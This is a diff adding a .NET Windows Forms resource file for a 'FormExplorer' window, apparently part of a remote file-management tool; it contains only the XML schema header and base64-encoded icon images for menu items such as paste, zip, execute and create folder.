+j7WD70BKVuW3y/zDfy6frfEeOe9QmEYMWNE0yS09nfZXX8NLQjCjLlSwJmmb8KdpJ2vu0Ptpn77D
+qEDWy7wwESFlXqLotMUgas3V6SLLxY1ve7CLUSbZgJv/kVnJidz6Nujd3kMpnzV3+K8SQUGraYs+
+AVDeQlZ2F4u/MPYEKPnKLKYc8zO0c8TUv/uJkv9q7wA3Y30+UTxU4SPG/07eNnAFvchaA22SO2Y9
+unWjaTG76ANDIitPYM/aii46kyQVClZeniTmfPqQmH7ifl4P91OuTYDvGAn4beXlydK2YCGPIuSI
+eM6WU68jehe9z/2ayVrbN1lJbNhdI2me6QBd0CfD246wp7GV4iXy/xyh7CfJRLcHTIr5R8KV2Nil
+kG22YSj3D6bHWWOATap7DK89Tf4PU6W5jlr0SVF0OPc0dhwSttwnljRqZ9b2sORcuoj71QDbdg3H
+lr1G4hPQ4p9PFdCmqHSzYeM548Fi2shF478WWgE81MZtUTfOSkmk/HGoWMTDXH/ruhXwxaWRsn2I
+EgOM+40ttj4fVoEPLKIN0MT8AAI9YT9kcoYvoGdwdvUiQOwe23YKCgfj1vdWtmDmnIgWi8+liTVX
+cpR1MMB3HJv9TrSYsme4GMu+re0QI26vMT7gE/7dg0/Q86wlm7kPwjxpQ5kZAY/QU3y7apIJAjzJ
+KRtq6KXWItoCvrg00FYWE+AWGVBAVdDADIGgzrDBTPbdEbSQV12nZMJaSTjADxzbbbsHmNxCKjDB
+2cB3HMNv8IGvLEYrMa/SKc65gHPnMDjxnWr3M5ne3pSHNfeteruj8EPCldBK2ubdnWYiJ4NL67aY
+L2Nhcu8aQXNHb6C9plrHf41wFcQK55h9htOjyMEkqjlvq+GW5c/gzOf6DqXCoFL6NYafdDZvA7Th
+th8ihu9gKkRMZhozgnF9V9CD1pMJZaYzEJmLnuHZdMOYzVTNz6nvxO+jRgx9zLIA33Esin+DD24z
+fYbRnNb2aixscCP2HWv4H+RPGAw/zKSt4p0FbdAWMdy2VOwsQ89gNg1j4pk0BkMfsyzAdxzDn1Hg
+g9vMHd2bXdZlXXY7jeh/pCvNqyO4kzUAAAAASUVORK5CYIIL</value></data><data name="stopToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAhgEAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsRAAALEQF/
+ZF+RAAABKElEQVRoQ+2YwWoCMRiE8yD2LNrNdQ9ZfJrWW/W9WgTfxiLYi6sQqZYq7GFPcafFsJQQ
+AmbLBmbgOywJ/z+T7CW/oCiKoqjktXucPOisWGhZXA6yMH3m16Nafko1tOabhdPfjX1HS/UF7wIn
+79qQAk2IN9H+bcpMmfU4N++RQC3UbDeNSeP9LG4faPQxnZuq3Ju6rqNQbXdm8zzrNIQNgNNCQ5eR
+e6i25U/tdtOY2ACrUe40EAPUbjeNCQOEwAAeGCAEBvDAACEwgAcGCIEBPDBACAzggQFC+JcAyT8p
+8fDGAzxmCJjfPL10+6h3jVVw5TFArS7N66z4bm5ALV2LKaClehWYMWJM59rQc45HmQ/sfBRjOky6
+HBt7BTzi5K15iqIoikpXQlwBSZrnFxhMLbkAAAAASUVORK5CYIIL</value></data></root>

Server.Forms.FormExplorer.resx

@@ -0,0 +1,855 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+<resheader name="resmimetype"><value>text/microsoft-resx</value></resheader><resheader name="version"><value>1.3</value></resheader><resheader name="reader"><value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><resheader name="writer"><value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><data name="pasteToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAxwEAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAABaUlEQVRoQ+2ZQUrDQBSGs/EISacn8CqmG/UmHsNGcNMi1GzdWO8h1I07W0SQJpCNF9DV
+M08nkA6/g2nnpYjvg28X5n8/M5nNRIqidMPk5cjk63KYFyQpZ5hZmdrYcPQxfKO5Xhc2NhxmuiQZ
+V2Sunmk4e90oYWPDkWQLEvHigQaXj2QmTxslbOz2HFc0qi1PKiJJ05cPOrxZfZfgnQhYQHz4Ri7B
+O8FHKlgBFCQpHyct0AaFSKoFXFCIpFrABYVIqgVcUIjPeHxLB2eTL+NsDr/xufcCzfCN6BufWsAF
+hfjUAlrAAYWw7dumq77bqbcCaLAuojVZLeCCQth4PIeD/cYku4NrsvoTu6AQn1pACzigEJ9/vkD7
+dvLdNj+59wK7qgVcUIikWsAFhUjaLhDkgQOFSJqc378Npst3Ht7kxZEdY3tQiKQ2NhwoRFIbG44+
+Hzhqwz/q1YumvHArRMritKLdz7yi/Cui6BMqfHMPc0+LCAAAAABJRU5ErkJgggs=</value></data><data name="zipToolStripMenuItem1.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAA6QEAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAABi0lEQVRoQ+3Zu0vDUBQG8BN0t+DkZEF00cGlgkgJhEBbVCJFRDAgCB0cnMS1iw8Eh05d
+pDi4iyj2z7D2ZX2mQuvWuVub4228SDFTvVI47fngI+M9P3ICFwIcDmcIgg4stx34dB1A9132rauv
+si+yz7JPgI0jDRuHGmIFEB9ly10tyRZlC6J5qItnTB6vnnYV6t7w/QJ0+gA1ebx63KoYpkeAN7go
+CoQ3fK+APKA8Xj1DCVBeIQZ0hb8BigDyK0QeQH6FyAPIr9DAAEiuULMwijt2GE3TRMMw0N5YwGZu
+hA4gdzuOkUjkB6DrOt5fB+gAbjJBH+AqPUEHkD6e8wFSySk6gOR+yAc42J2lA9hLLPkACXueDmB7
+y/AB1q0QHcCaFfUApewYlu4CHsA0FukA7M3vN1AUw3faAcRXCb2By9SMb4XOTybpAFoVDS/OpjFu
+6WithDFzGsRWWdyHqADI34UYwIBfYQADFMMABihG5RfTnwH/+YsJPyDWdiSiH4A81ESj8ngOhzO4
+AfgCvpRWC08QgiIAAAAASUVORK5CYIIL</value></data><data name="hiddenToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAJgMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAACyElEQVRoQ+2ZyW4TQRRFvWQJdjxEbNkwBSQ+gCVIloBIbFiy5QeQYhYIKZFJEBkYwwL4
+Az4hrECCMMTYIcEktohVPXieZz/6OVVWiCqh0+2U29BXutt695Sqb1erHbZs2foPNC6B/xqBhGYw
+67HptZd0WXG6SmCLF8aIT90JwclAKEiXFiNeEKM+HfgmHoIXxKgRQDgEL4hRnwmExUPwghj12Ymw
+eAheEKNGAOEQvCBGPTYREQ/BC2LU5zQA4RC8IEZ9YTKqA2LlLh3dH/GCGPWl90VdEOdn1/v3xuYF
+EWE63rx4i4swHW9evMVFmI43L97iIkzHmxdvcRGm482Lt7gI0/HmxVv8MO3fbMKJV5HhBLhN6uCZ
+WYZjU8vDBXCddOA1KYCaTIIz+Bmc978MD8At0oSPUgrS6TQUCgVwTX8F18yK9QHGNc+REhA1Cdls
+FkqlElSrVRh5EIKRh2FrA9wkLXgrpSGVSkE+n4dKpQK1Wg0ajQa4ZyPgnlu1LsA9UoVNWYVMJgPF
+YrG76/V6HZrNJrTbbfDMfwfPwpr1AG5oD+obkoWk9qDmcrnekcFdb7Va3fBdgMc/wPskai0ArMdV
+Se0+qLuPDAuO7nQ64H36E3zPNqwBwOpRVpQ9j8zO8GjfYgxGX8QHD8DqkR2Zcrnc2/WdR4YFZ8bw
+AwVg9ZiQlV6345HZb9eZUQMFwHpcIilQVfWPbsfw++06C48aGADW44akcLtdb3iUcABWj7Is635Q
+ecGZhAJgPUaI8tdu3x18r/AoIQCsHokk6ep2PcGZDh0A6/EDSYJygG7XGx7VdwD2h4bV45YkH7jb
+9YZH9R3gSqId9Edr9eML219K+LHholdeN168Hq1vv/7pG7QvXowrdLx5XVyKHXFNvps/OvVJcuLH
+hhYer7x4a/RqFy+8t4z2MbxvMf7L9zx2mY63ZcvWvyuH4zcIW7feXb2AWgAAAABJRU5ErkJgggs=</value></data><data name="execlitToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAZQMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAADHElEQVRoQ+2WzWsTQRiH
+R7cRqhYFD3YT/wAPPYm9qIgeil4U6W5aUaybVKvnbD/EdmMuabZsmpto+iXWg1DQ+jf4BYLipRcF
+BZukFiyIKC2KbZ3IVMrySzP7dttUyAPPJUxmnjfsZpdVqVLFRxKJ7Wouczr0yXmgFtJT3G9s1PrG
+xuJTbDQ+zobip4prxOqtRXDGPqbm0m/VfHp5tTzcZd8bNtZ7RHyt8hzIZWrrC4O2mnMW3fF4AO6I
+tcTGbmXZ7cRusU1lCBacM/xX/4jCV4QD/NPKcdvEdpvEcjYQLAy2qgXnBQp2i8NdjsSf8UFa2OuO
+gDhl/RQvjX25TGj/tNNQnx84qU47MTU3+ETNO3MotJQwuLRf+CCT7J4VY8N9J9j4zQZ2vzfEJjK1
+IksOHjmNYiiCSKL8cpMFhVDFMURlQSFUYQhVWVAIVRhCVRYUQhWGUJUFhVCFIVRlQSFUYQhVWVAI
+VRhCVRYUQhWGUJUFhVCFIVRl4S9oCyiGIgyhOGzNi7zy8AE+oxiKMIZmQeSVp34m/QrFUAQhRK2X
+Iq88oXw6i2Io4hiCQ/G7Ik8Cu/MCS5nLflgT0X1RadfPizoJ7J49rN/8iYK8imI8a2i/mHFur6iT
+xDYnUZBXYZBHt0W0R6LKA7Z5HAV5FQV5lbU3HxVVHumPPUdRXkRBXlQi4aeihkCy6xC/FxZRmKwo
+SlpDXwxcbW0UNURSZtYd5UUYJqli6HdExTpwOnfxkPfuMFlRmIzKZe0Di0brRMU6SZmN/FJacMfJ
+iOLKaujzgUvaYXG6TyS72lBgOWHgmmpLSlS/KE71mVTMQpFriSPXMBq+IU7bIOyYg0JLCSNL2jIg
+TtlgUp09KBaJQ4FR3Ra7bxIp87rMMwLGrtbQfgci+jWx6ybTb+rcHyh8RRgt5H+V35WopondKkTa
+PMhfOaZQfFEU/ldDe7ejvbVB7FJhBrrr+H0xITtAwNAf+veQ8pNUV5hHz5UaQInoXwOR5g6xeouS
+6A6yZOyxe4DiO/3O6NmgWPUfkDSb+ACz/IVstuZKuEl8WqVKFV9h7A+sOUIA+DVA5AAAAABJRU5E
+rkJgggs=</value></data><data name="cryptoToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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
+xJVCAAAAAElFTkSuQmCCCw==</value></data><data name="executeToolStripMenuItem2.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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
+Cw==</value></data><data name="createFolderToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAoQEAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsPAAALDwGS
++QOlAAABQ0lEQVRoQ+2Zu00DURREtx6+AYIWABGA27FJ6QIkikFyDiYiMBi0FEABy1pMeCTEHTMB
+vCOddOZO9ILXNRqNf8DkfTi76Ie30cH18Hp5p9gc5/3wSsdU3Lq8z4+gQ6puzx6+Rtw8zxX/+9Ah
+VdcD4iPokKo7s0V+BB1SdXe6yI+gQ6quB8RH0CFV96aP+RF0SNX9cUB8BB1S9eDq6dsRR7cvm30n
+6JCqx/OP/Ag6JKHqfSg8oep9KDyh6n0oPKHqfSg8oep9KDyh6n0oPKHqfSg8oep9KDyh6n0oPKHq
+fSg8oep9KDyh6n0oPKHqfSg8oep9KDyh6n0oPKHqfSg8oep9KDyh6n0oPKHqfSg8oep9KDyh6n0o
